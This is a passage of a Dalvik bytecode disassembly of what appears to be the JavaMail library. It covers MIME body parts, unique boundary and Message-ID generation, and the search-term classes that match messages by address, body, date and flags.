00000076 invoke-virtual StringBuilder->toString()String, v0
0000007C move-result-object v5
0000007E const/4 v0, 0x0
00000080 move v2, v0
:82
00000082 invoke-virtual ParameterList$MultiValue->size()I, v1
00000088 move-result v0
0000008A if-ge v2, v0, :1E
:8E
0000008E invoke-virtual ParameterList$MultiValue->get(I)Object, v1, v2
00000094 move-result-object v0
00000096 instance-of v6, v0, ParameterList$Value
0000009A if-eqz v6, :E2
:9E
0000009E new-instance v6, StringBuilder
000000A2 invoke-static String->valueOf(Object)String, v5
000000A8 move-result-object v7
000000AA invoke-direct StringBuilder-><init>(String)V, v6, v7
000000B0 invoke-virtual StringBuilder->append(I)StringBuilder, v6, v2
000000B6 move-result-object v6
000000B8 const-string v7, "*"
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v6, v7
000000C2 move-result-object v6
000000C4 invoke-virtual StringBuilder->toString()String, v6
000000CA move-result-object v6
000000CC check-cast v0, ParameterList$Value
000000D0 iget-object v0, v0, ParameterList$Value->encodedValue:String
000000D4 invoke-virtual ParameterList$ToStringBuffer->addNV(String, String)V, v3, v6, v0
:DA
000000DA add-int/lit8 v0, v2, 0x1
000000DE move v2, v0
000000E0 goto :82
:E2
000000E2 new-instance v6, StringBuilder
000000E6 invoke-static String->valueOf(Object)String, v5
000000EC move-result-object v7
000000EE invoke-direct StringBuilder-><init>(String)V, v6, v7
000000F4 invoke-virtual StringBuilder->append(I)StringBuilder, v6, v2
000000FA move-result-object v6
000000FC invoke-virtual StringBuilder->toString()String, v6
00000102 move-result-object v6
00000104 check-cast v0, String
00000108 invoke-virtual ParameterList$ToStringBuffer->addNV(String, String)V, v3, v6, v0
0000010E goto :DA
:110
00000110 instance-of v2, v1, ParameterList$Value
00000114 if-eqz v2, :150
:118
00000118 new-instance v2, StringBuilder
0000011C invoke-static String->valueOf(Object)String, v0
00000122 move-result-object v0
00000124 invoke-direct StringBuilder-><init>(String)V, v2, v0
0000012A const-string v0, "*"
0000012E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000134 move-result-object v0
00000136 invoke-virtual StringBuilder->toString()String, v0
0000013C move-result-object v0
0000013E check-cast v1, ParameterList$Value
00000142 iget-object v1, v1, ParameterList$Value->encodedValue:String
00000146 invoke-virtual ParameterList$ToStringBuffer->addNV(String, String)V, v3, v0, v1
0000014C goto/16 :1E
:150
00000150 check-cast v1, String
00000154 invoke-virtual ParameterList$ToStringBuffer->addNV(String, String)V, v3, v0, v1
0000015A goto/16 :1E
.end method
#--------------------------------------------------------------------------------
.class public PreencodedMimeBodyPart
.super MimeBodyPart
.source ""
.field private encoding:String
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MimeBodyPart-><init>()V, p0
00000006 iput-object p1, p0, PreencodedMimeBodyPart->encoding:String
0000000A return-void
.end method
.method public getEncoding()String
.registers 2
00000000 iget-object v0, p0, PreencodedMimeBodyPart->encoding:String
00000004 return-object v0
.end method
.method protected updateHeaders()V
.registers 2
00000000 invoke-super MimeBodyPart->updateHeaders()V, p0
00000006 iget-object v0, p0, PreencodedMimeBodyPart->encoding:String
0000000A invoke-static MimeBodyPart->setEncoding(MimePart, String)V, p0, v0
00000010 return-void
.end method
.method public writeTo(OutputStream)V
.registers 5
00000000 instance-of v0, p1, LineOutputStream
00000004 if-eqz v0, :40
:8
00000008 move-object v0, p1
0000000A check-cast v0, LineOutputStream
0000000E move-object v1, v0
:10
00000010 invoke-virtual PreencodedMimeBodyPart->getAllHeaderLines()Enumeration, p0
00000016 move-result-object v2
:18
00000018 invoke-interface Enumeration->hasMoreElements()Z, v2
0000001E move-result v0
00000020 if-nez v0, :4E
:24
00000024 invoke-virtual LineOutputStream->writeln()V, v1
0000002A invoke-virtual PreencodedMimeBodyPart->getDataHandler()DataHandler, p0
00000030 move-result-object v0
00000032 invoke-virtual DataHandler->writeTo(OutputStream)V, v0, p1
00000038 invoke-virtual OutputStream->flush()V, p1
0000003E return-void
:40
00000040 new-instance v0, LineOutputStream
00000044 invoke-direct LineOutputStream-><init>(OutputStream)V, v0, p1
0000004A move-object v1, v0
0000004C goto :10
:4E
0000004E invoke-interface Enumeration->nextElement()Object, v2
00000054 move-result-object v0
00000056 check-cast v0, String
0000005A invoke-virtual LineOutputStream->writeln(String)V, v1, v0
00000060 goto :18
.end method
#--------------------------------------------------------------------------------
.class public abstract interface SharedInputStream
.super Object
.source ""
.method public abstract getPosition()J
.end method
.method public abstract newStream(J, J)InputStream
.end method
#--------------------------------------------------------------------------------
.class UniqueValue
.super Object
.source ""
.field private static id:I
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput v0, UniqueValue->id:I
00000006 return-void
.end method
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public static getUniqueBoundaryValue()String
.registers 4
00000000 new-instance v0, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v0
0000000A const-string v1, "----=_Part_"
0000000E invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000014 move-result-object v1
00000016 invoke-static UniqueValue->getUniqueId()I
0000001C move-result v2
0000001E invoke-virtual StringBuffer->append(I)StringBuffer, v1, v2
00000024 move-result-object v1
00000026 const-string v2, "_"
0000002A invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000030 move-result-object v1
00000032 invoke-virtual Object->hashCode()I, v0
00000038 move-result v2
0000003A invoke-virtual StringBuffer->append(I)StringBuffer, v1, v2
00000040 move-result-object v1
00000042 const/16 v2, 0x2E
00000046 invoke-virtual StringBuffer->append(C)StringBuffer, v1, v2
0000004C move-result-object v1
0000004E invoke-static System->currentTimeMillis()J
00000054 move-result-wide v2
00000056 invoke-virtual StringBuffer->append(J)StringBuffer, v1, v2, v3
0000005C invoke-virtual StringBuffer->toString()String, v0
00000062 move-result-object v0
00000064 return-object v0
.end method
.method private static declared-synchronized getUniqueId()I
.registers 3
00000000 const-class v1, UniqueValue
00000004 monitor-enter v1
:6
00000006 sget v0, UniqueValue->id:I
0000000A add-int/lit8 v2, v0, 0x1
0000000E sput v2, UniqueValue->id:I
:12
00000012 monitor-exit v1
00000014 return v0
:16
00000016 move-exception v0
00000018 monitor-exit v1
0000001A throw v0
.catchall {:6 .. :12} :16
.end method
.method public static getUniqueMessageIDValue(Session)String
.registers 7
00000000 const/16 v5, 0x2E
00000004 invoke-static InternetAddress->getLocalAddress(Session)InternetAddress, p0
0000000A move-result-object v0
0000000C if-eqz v0, :86
:10
00000010 invoke-virtual InternetAddress->getAddress()String, v0
00000016 move-result-object v0
:18
00000018 new-instance v1, StringBuffer
0000001C invoke-direct StringBuffer-><init>()V, v1
00000022 invoke-virtual Object->hashCode()I, v1
00000028 move-result v2
0000002A invoke-virtual StringBuffer->append(I)StringBuffer, v1, v2
00000030 move-result-object v2
00000032 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v5
00000038 move-result-object v2
0000003A invoke-static UniqueValue->getUniqueId()I
00000040 move-result v3
00000042 invoke-virtual StringBuffer->append(I)StringBuffer, v2, v3
00000048 move-result-object v2
0000004A invoke-virtual StringBuffer->append(C)StringBuffer, v2, v5
00000050 move-result-object v2
00000052 invoke-static System->currentTimeMillis()J
00000058 move-result-wide v3
0000005A invoke-virtual StringBuffer->append(J)StringBuffer, v2, v3, v4
00000060 move-result-object v2
00000062 invoke-virtual StringBuffer->append(C)StringBuffer, v2, v5
00000068 move-result-object v2
0000006A const-string v3, "JavaMail."
0000006E invoke-virtual StringBuffer->append(String)StringBuffer, v2, v3
00000074 move-result-object v2
00000076 invoke-virtual StringBuffer->append(String)StringBuffer, v2, v0
0000007C invoke-virtual StringBuffer->toString()String, v1
00000082 move-result-object v0
00000084 return-object v0
:86
00000086 const-string v0, "javamailuser@localhost"
0000008A goto :18
.end method
#--------------------------------------------------------------------------------
.class public abstract SearchTerm
.super Object
.source ""
.implements Serializable
.field private static final serialVersionUID:J = 0xA3AE133BC1B1C4ABL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public abstract match(Message)Z
.end method
#--------------------------------------------------------------------------------
.class public abstract StringTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0x11AE4E90F062D98DL
.field protected ignoreCase:Z
.field protected pattern:String
.method protected constructor <init>(String)V
.registers 3
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 iput-object p1, p0, StringTerm->pattern:String
0000000A const/4 v0, 0x1
0000000C iput-boolean v0, p0, StringTerm->ignoreCase:Z
00000010 return-void
.end method
.method protected constructor <init>(String, Z)V
.registers 3
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 iput-object p1, p0, StringTerm->pattern:String
0000000A iput-boolean p2, p0, StringTerm->ignoreCase:Z
0000000E return-void
.end method
.method public equals(Object)Z
.registers 6
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 instance-of v2, p1, StringTerm
00000008 if-nez v2, :E
:C
0000000C return v0
:E
0000000E check-cast p1, StringTerm
00000012 iget-boolean v2, p0, StringTerm->ignoreCase:Z
00000016 if-eqz v2, :3E
:1A
0000001A iget-object v2, p1, StringTerm->pattern:String
0000001E iget-object v3, p0, StringTerm->pattern:String
00000022 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000028 move-result v2
0000002A if-eqz v2, :C
:2E
0000002E iget-boolean v2, p1, StringTerm->ignoreCase:Z
00000032 iget-boolean v3, p0, StringTerm->ignoreCase:Z
00000036 if-ne v2, v3, :C
:3A
0000003A move v0, v1
0000003C goto :C
:3E
0000003E iget-object v2, p1, StringTerm->pattern:String
00000042 iget-object v3, p0, StringTerm->pattern:String
00000046 invoke-virtual String->equals(Object)Z, v2, v3
0000004C move-result v2
0000004E if-eqz v2, :C
:52
00000052 iget-boolean v2, p1, StringTerm->ignoreCase:Z
00000056 iget-boolean v3, p0, StringTerm->ignoreCase:Z
0000005A if-ne v2, v3, :C
:5E
0000005E move v0, v1
00000060 goto :C
.end method
.method public getIgnoreCase()Z
.registers 2
00000000 iget-boolean v0, p0, StringTerm->ignoreCase:Z
00000004 return v0
.end method
.method public getPattern()String
.registers 2
00000000 iget-object v0, p0, StringTerm->pattern:String
00000004 return-object v0
.end method
.method public hashCode()I
.registers 2
00000000 iget-boolean v0, p0, StringTerm->ignoreCase:Z
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, StringTerm->pattern:String
0000000C invoke-virtual String->hashCode()I, v0
00000012 move-result v0
:14
00000014 return v0
:16
00000016 iget-object v0, p0, StringTerm->pattern:String
0000001A invoke-virtual String->hashCode()I, v0
00000020 move-result v0
00000022 xor-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000026 goto :14
.end method
.method protected match(String)Z
.registers 9
00000000 const/4 v4, 0x0
00000002 invoke-virtual String->length()I, p1
00000008 move-result v0
0000000A iget-object v1, p0, StringTerm->pattern:String
0000000E invoke-virtual String->length()I, v1
00000014 move-result v1
00000016 sub-int v6, v0, v1
0000001A move v2, v4
:1C
0000001C if-le v2, v6, :22
:20
00000020 return v4
:22
00000022 iget-boolean v1, p0, StringTerm->ignoreCase:Z
00000026 iget-object v3, p0, StringTerm->pattern:String
0000002A iget-object v0, p0, StringTerm->pattern:String
0000002E invoke-virtual String->length()I, v0
00000034 move-result v5
00000036 move-object v0, p1
00000038 invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000003E move-result v0
00000040 if-eqz v0, :48
:44
00000044 const/4 v4, 0x1
00000046 goto :20
:48
00000048 add-int/lit8 v2, v2, 0x1
0000004C goto :1C
.end method
#--------------------------------------------------------------------------------
.class public abstract AddressStringTerm
.super StringTerm
.source ""
.field private static final serialVersionUID:J = 0x2AD6978ECDEBB490L
.method protected constructor <init>(String)V
.registers 3
00000000 const/4 v0, 0x1
00000002 invoke-direct StringTerm-><init>(String, Z)V, p0, p1, v0
00000008 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, AddressStringTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super StringTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method protected match(Address)Z
.registers 3
00000000 instance-of v0, p1, InternetAddress
00000004 if-eqz v0, :1E
:8
00000008 check-cast p1, InternetAddress
0000000C invoke-virtual InternetAddress->toUnicodeString()String, p1
00000012 move-result-object v0
00000014 invoke-super StringTerm->match(String)Z, p0, v0
0000001A move-result v0
:1C
0000001C return v0
:1E
0000001E invoke-virtual Address->toString()String, p1
00000024 move-result-object v0
00000026 invoke-super StringTerm->match(String)Z, p0, v0
0000002C move-result v0
0000002E goto :1C
.end method
#--------------------------------------------------------------------------------
.class public abstract AddressTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0x1BD4A1B9715EBFFCL
.field protected address:Address
.method protected constructor <init>(Address)V
.registers 2
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 iput-object p1, p0, AddressTerm->address:Address
0000000A return-void
.end method
.method public equals(Object)Z
.registers 4
00000000 instance-of v0, p1, AddressTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C check-cast p1, AddressTerm
00000010 iget-object v0, p1, AddressTerm->address:Address
00000014 iget-object v1, p0, AddressTerm->address:Address
00000018 invoke-virtual Address->equals(Object)Z, v0, v1
0000001E move-result v0
00000020 goto :A
.end method
.method public getAddress()Address
.registers 2
00000000 iget-object v0, p0, AddressTerm->address:Address
00000004 return-object v0
.end method
.method public hashCode()I
.registers 2
00000000 iget-object v0, p0, AddressTerm->address:Address
00000004 invoke-virtual Object->hashCode()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method protected match(Address)Z
.registers 3
00000000 iget-object v0, p0, AddressTerm->address:Address
00000004 invoke-virtual Address->equals(Object)Z, p1, v0
0000000A move-result v0
0000000C return v0
.end method
#--------------------------------------------------------------------------------
.class public final AndTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0xCE45A6D2860D7572L
.field protected terms:[SearchTerm
.method public constructor <init>(SearchTerm, SearchTerm)V
.registers 5
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 const/4 v0, 0x2
00000008 new-array v0, v0, [SearchTerm
0000000C iput-object v0, p0, AndTerm->terms:[SearchTerm
00000010 iget-object v0, p0, AndTerm->terms:[SearchTerm
00000014 const/4 v1, 0x0
00000016 aput-object p1, v0, v1
0000001A iget-object v0, p0, AndTerm->terms:[SearchTerm
0000001E const/4 v1, 0x1
00000020 aput-object p2, v0, v1
00000024 return-void
.end method
.method public constructor <init>([SearchTerm)V
.registers 5
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 array-length v0, p1
00000008 new-array v0, v0, [SearchTerm
0000000C iput-object v0, p0, AndTerm->terms:[SearchTerm
00000010 const/4 v0, 0x0
:12
00000012 array-length v1, p1
00000014 if-lt v0, v1, :1A
:18
00000018 return-void
:1A
0000001A iget-object v1, p0, AndTerm->terms:[SearchTerm
0000001E aget-object v2, p1, v0
00000022 aput-object v2, v1, v0
00000026 add-int/lit8 v0, v0, 0x1
0000002A goto :12
.end method
.method public equals(Object)Z
.registers 6
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, AndTerm
00000006 if-nez v0, :C
:A
0000000A return v1
:C
0000000C check-cast p1, AndTerm
00000010 iget-object v0, p1, AndTerm->terms:[SearchTerm
00000014 array-length v0, v0
00000016 iget-object v2, p0, AndTerm->terms:[SearchTerm
0000001A array-length v2, v2
0000001C if-ne v0, v2, :A
:20
00000020 move v0, v1
:22
00000022 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000026 array-length v2, v2
00000028 if-lt v0, v2, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :A
:30
00000030 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000034 aget-object v2, v2, v0
00000038 iget-object v3, p1, AndTerm->terms:[SearchTerm
0000003C aget-object v3, v3, v0
00000040 invoke-virtual Object->equals(Object)Z, v2, v3
00000046 move-result v2
00000048 if-eqz v2, :A
:4C
0000004C add-int/lit8 v0, v0, 0x1
00000050 goto :22
.end method
.method public getTerms()[SearchTerm
.registers 2
00000000 iget-object v0, p0, AndTerm->terms:[SearchTerm
00000004 invoke-virtual [SearchTerm->clone()Object, v0
0000000A move-result-object v0
0000000C check-cast v0, [SearchTerm
00000010 return-object v0
.end method
.method public hashCode()I
.registers 4
00000000 const/4 v0, 0x0
00000002 move v1, v0
:4
00000004 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000008 array-length v2, v2
0000000A if-lt v0, v2, :10
:E
0000000E return v1
:10
00000010 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000014 aget-object v2, v2, v0
00000018 invoke-virtual Object->hashCode()I, v2
0000001E move-result v2
00000020 add-int/2addr v1, v2
00000022 add-int/lit8 v0, v0, 0x1
00000026 goto :4
.end method
.method public match(Message)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 move v0, v1
:4
00000004 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000008 array-length v2, v2
0000000A if-lt v0, v2, :12
:E
0000000E const/4 v1, 0x1
:10
00000010 return v1
:12
00000012 iget-object v2, p0, AndTerm->terms:[SearchTerm
00000016 aget-object v2, v2, v0
0000001A invoke-virtual SearchTerm->match(Message)Z, v2, p1
00000020 move-result v2
00000022 if-eqz v2, :10
:26
00000026 add-int/lit8 v0, v0, 0x1
0000002A goto :4
.end method
#--------------------------------------------------------------------------------
.class public final BodyTerm
.super StringTerm
.source ""
.field private static final serialVersionUID:J = 0xBC27456EE3CB54E7L
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct StringTerm-><init>(String)V, p0, p1
00000006 return-void
.end method
.method private matchPart(Part)Z
.registers 7
00000000 const/4 v1, 0x0
:2
00000002 const-string v0, "text/*"
00000006 invoke-interface Part->isMimeType(String)Z, p1, v0
0000000C move-result v0
0000000E if-eqz v0, :30
:12
00000012 invoke-interface Part->getContent()Object, p1
00000018 move-result-object v0
0000001A check-cast v0, String
0000001E if-nez v0, :26
:22
00000022 move v0, v1
:24
00000024 return v0
:26
00000026 invoke-super StringTerm->match(String)Z, p0, v0
0000002C move-result v0
0000002E goto :24
:30
00000030 const-string v0, "multipart/*"
00000034 invoke-interface Part->isMimeType(String)Z, p1, v0
0000003A move-result v0
0000003C if-eqz v0, :7C
:40
00000040 invoke-interface Part->getContent()Object, p1
00000046 move-result-object v0
00000048 check-cast v0, Multipart
0000004C invoke-virtual Multipart->getCount()I, v0
00000052 move-result v3
00000054 move v2, v1
:56
00000056 if-lt v2, v3, :5E
:5A
0000005A move v0, v1
0000005C goto :24
:5E
0000005E invoke-virtual Multipart->getBodyPart(I)BodyPart, v0, v2
00000064 move-result-object v4
00000066 invoke-direct BodyTerm->matchPart(Part)Z, p0, v4
0000006C move-result v4
0000006E if-eqz v4, :76
:72
00000072 const/4 v0, 0x1
00000074 goto :24
:76
00000076 add-int/lit8 v2, v2, 0x1
0000007A goto :56
:7C
0000007C const-string v0, "message/rfc822"
00000080 invoke-interface Part->isMimeType(String)Z, p1, v0
00000086 move-result v0
00000088 if-eqz v0, :5A
:8C
0000008C invoke-interface Part->getContent()Object, p1
00000092 move-result-object v0
00000094 check-cast v0, Part
00000098 invoke-direct BodyTerm->matchPart(Part)Z, p0, v0
:9E
0000009E move-result v0
000000A0 goto :24
:A2
000000A2 move-exception v0
000000A4 goto :5A
.catch Exception {:2 .. :9E} :A2
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, BodyTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super StringTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 3
00000000 invoke-direct BodyTerm->matchPart(Part)Z, p0, p1
00000006 move-result v0
00000008 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract ComparisonTerm
.super SearchTerm
.source ""
.field public static final EQ:I = 0x3
.field public static final GE:I = 0x6
.field public static final GT:I = 0x5
.field public static final LE:I = 0x1
.field public static final LT:I = 0x2
.field public static final NE:I = 0x4
.field private static final serialVersionUID:J = 0x14370CAFCC71F144L
.field protected comparison:I
.method public constructor <init>()V
.registers 1
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 instance-of v1, p1, ComparisonTerm
00000006 if-nez v1, :C
:A
0000000A return v0
:C
0000000C check-cast p1, ComparisonTerm
00000010 iget v1, p1, ComparisonTerm->comparison:I
00000014 iget v2, p0, ComparisonTerm->comparison:I
00000018 if-ne v1, v2, :A
:1C
0000001C const/4 v0, 0x1
0000001E goto :A
.end method
.method public hashCode()I
.registers 2
00000000 iget v0, p0, ComparisonTerm->comparison:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract DateTerm
.super ComparisonTerm
.source ""
.field private static final serialVersionUID:J = 0x42E013DA6884266BL
.field protected date:Date
.method protected constructor <init>(I, Date)V
.registers 3
00000000 invoke-direct ComparisonTerm-><init>()V, p0
00000006 iput p1, p0, DateTerm->comparison:I
0000000A iput-object p2, p0, DateTerm->date:Date
0000000E return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, DateTerm
00000006 if-nez v0, :E
:A
0000000A move v0, v1
:C
0000000C return v0
:E
0000000E move-object v0, p1
00000010 check-cast v0, DateTerm
00000014 iget-object v0, v0, DateTerm->date:Date
00000018 iget-object v2, p0, DateTerm->date:Date
0000001C invoke-virtual Date->equals(Object)Z, v0, v2
00000022 move-result v0
00000024 if-eqz v0, :38
:28
00000028 invoke-super ComparisonTerm->equals(Object)Z, p0, p1
0000002E move-result v0
00000030 if-eqz v0, :38
:34
00000034 const/4 v0, 0x1
00000036 goto :C
:38
00000038 move v0, v1
0000003A goto :C
.end method
.method public getComparison()I
.registers 2
00000000 iget v0, p0, DateTerm->comparison:I
00000004 return v0
.end method
.method public getDate()Date
.registers 4
00000000 new-instance v0, Date
00000004 iget-object v1, p0, DateTerm->date:Date
00000008 invoke-virtual Date->getTime()J, v1
0000000E move-result-wide v1
00000010 invoke-direct Date-><init>(J)V, v0, v1, v2
00000016 return-object v0
.end method
.method public hashCode()I
.registers 3
00000000 iget-object v0, p0, DateTerm->date:Date
00000004 invoke-virtual Date->hashCode()I, v0
0000000A move-result v0
0000000C invoke-super ComparisonTerm->hashCode()I, p0
00000012 move-result v1
00000014 add-int/2addr v0, v1
00000016 return v0
.end method
.method protected match(Date)Z
.registers 5
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 iget v2, p0, DateTerm->comparison:I
00000008 packed-switch v2, :98
:E
0000000E return v0
:10
00000010 iget-object v2, p0, DateTerm->date:Date
00000014 invoke-virtual Date->before(Date)Z, p1, v2
0000001A move-result v2
0000001C if-nez v2, :30
:20
00000020 iget-object v2, p0, DateTerm->date:Date
00000024 invoke-virtual Date->equals(Object)Z, p1, v2
0000002A move-result v2
0000002C if-eqz v2, :E
:30
00000030 move v0, v1
00000032 goto :E
:34
00000034 iget-object v0, p0, DateTerm->date:Date
00000038 invoke-virtual Date->before(Date)Z, p1, v0
0000003E move-result v0
00000040 goto :E
:42
00000042 iget-object v0, p0, DateTerm->date:Date
00000046 invoke-virtual Date->equals(Object)Z, p1, v0
0000004C move-result v0
0000004E goto :E
:50
00000050 iget-object v2, p0, DateTerm->date:Date
00000054 invoke-virtual Date->equals(Object)Z, p1, v2
0000005A move-result v2
0000005C if-nez v2, :E
:60
00000060 move v0, v1
00000062 goto :E
:64
00000064 iget-object v0, p0, DateTerm->date:Date
00000068 invoke-virtual Date->after(Date)Z, p1, v0
0000006E move-result v0
00000070 goto :E
:72
00000072 iget-object v2, p0, DateTerm->date:Date
00000076 invoke-virtual Date->after(Date)Z, p1, v2
0000007C move-result v2
0000007E if-nez v2, :92
:82
00000082 iget-object v2, p0, DateTerm->date:Date
00000086 invoke-virtual Date->equals(Object)Z, p1, v2
0000008C move-result v2
0000008E if-eqz v2, :E
:92
00000092 move v0, v1
00000094 goto :E
00000098 .packed-switch 0x1
:10
:34
:42
:50
:64
:72
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public final FlagTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0xFE03FDFCF298E8C9L
.field protected flags:Flags
.field protected set:Z
.method public constructor <init>(Flags, Z)V
.registers 3
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 iput-object p1, p0, FlagTerm->flags:Flags
0000000A iput-boolean p2, p0, FlagTerm->set:Z
0000000E return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 instance-of v1, p1, FlagTerm
00000006 if-nez v1, :C
:A
0000000A return v0
:C
0000000C check-cast p1, FlagTerm
00000010 iget-boolean v1, p1, FlagTerm->set:Z
00000014 iget-boolean v2, p0, FlagTerm->set:Z
00000018 if-ne v1, v2, :A
:1C
0000001C iget-object v1, p1, FlagTerm->flags:Flags
00000020 iget-object v2, p0, FlagTerm->flags:Flags
00000024 invoke-virtual Flags->equals(Object)Z, v1, v2
0000002A move-result v1
0000002C if-eqz v1, :A
:30
00000030 const/4 v0, 0x1
00000032 goto :A
.end method
.method public getFlags()Flags
.registers 2
00000000 iget-object v0, p0, FlagTerm->flags:Flags
00000004 invoke-virtual Flags->clone()Object, v0
0000000A move-result-object v0
0000000C check-cast v0, Flags
00000010 return-object v0
.end method
.method public getTestSet()Z
.registers 2
00000000 iget-boolean v0, p0, FlagTerm->set:Z
00000004 return v0
.end method
.method public hashCode()I
.registers 2
00000000 iget-boolean v0, p0, FlagTerm->set:Z
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, FlagTerm->flags:Flags
0000000C invoke-virtual Flags->hashCode()I, v0
00000012 move-result v0
:14
00000014 return v0
:16
00000016 iget-object v0, p0, FlagTerm->flags:Flags
0000001A invoke-virtual Flags->hashCode()I, v0
00000020 move-result v0
00000022 xor-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000026 goto :14
.end method
.method public match(Message)Z
.registers 8
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
:4
00000004 invoke-virtual Message->getFlags()Flags, p1
0000000A move-result-object v3
0000000C iget-boolean v2, p0, FlagTerm->set:Z
00000010 if-eqz v2, :2A
:14
00000014 iget-object v2, p0, FlagTerm->flags:Flags
00000018 invoke-virtual Flags->contains(Flags)Z, v3, v2
0000001E move-result v2
00000020 if-eqz v2, :26
:24
00000024 return v0
:26
00000026 move v0, v1
00000028 goto :24
:2A
0000002A iget-object v2, p0, FlagTerm->flags:Flags
0000002E invoke-virtual Flags->getSystemFlags()[Flags$Flag, v2
00000034 move-result-object v4
00000036 move v2, v1
:38
00000038 array-length v5, v4
0000003A if-lt v2, v5, :66
:3E
0000003E iget-object v2, p0, FlagTerm->flags:Flags
00000042 invoke-virtual Flags->getUserFlags()[String, v2
00000048 move-result-object v4
0000004A move v2, v1
:4C
0000004C array-length v5, v4
0000004E if-ge v2, v5, :24
:52
00000052 aget-object v5, v4, v2
00000056 invoke-virtual Flags->contains(String)Z, v3, v5
0000005C move-result v5
0000005E if-eqz v5, :80
:62
00000062 move v0, v1
00000064 goto :24
:66
00000066 aget-object v5, v4, v2
0000006A invoke-virtual Flags->contains(Flags$Flag)Z, v3, v5
:70
00000070 move-result v5
00000072 if-eqz v5, :7A
:76
00000076 move v0, v1
00000078 goto :24
:7A
0000007A add-int/lit8 v2, v2, 0x1
0000007E goto :38
:80
00000080 add-int/lit8 v2, v2, 0x1
00000084 goto :4C
:86
00000086 move-exception v0
00000088 move v0, v1
0000008A goto :24
.catch Exception {:4 .. :70} :86
.end method
#--------------------------------------------------------------------------------
.class public final FromStringTerm
.super AddressStringTerm
.source ""
.field private static final serialVersionUID:J = 0x5081BEBF4A6FAB34L
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct AddressStringTerm-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, FromStringTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super AddressStringTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 invoke-virtual Message->getFrom()[Address, p1
:8
00000008 move-result-object v2
0000000A if-nez v2, :10
:E
0000000E return v1
:10
00000010 move v0, v1
:12
00000012 array-length v3, v2
00000014 if-ge v0, v3, :E
:18
00000018 aget-object v3, v2, v0
0000001C invoke-super AddressStringTerm->match(Address)Z, p0, v3
00000022 move-result v3
00000024 if-eqz v3, :2C
:28
00000028 const/4 v1, 0x1
0000002A goto :E
:2C
0000002C add-int/lit8 v0, v0, 0x1
00000030 goto :12
:32
00000032 move-exception v0
00000034 goto :E
.catch Exception {:2 .. :8} :32
.end method
#--------------------------------------------------------------------------------
.class public final FromTerm
.super AddressTerm
.source ""
.field private static final serialVersionUID:J = 0x485E7192407C3469L
.method public constructor <init>(Address)V
.registers 2
00000000 invoke-direct AddressTerm-><init>(Address)V, p0, p1
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, FromTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super AddressTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 6
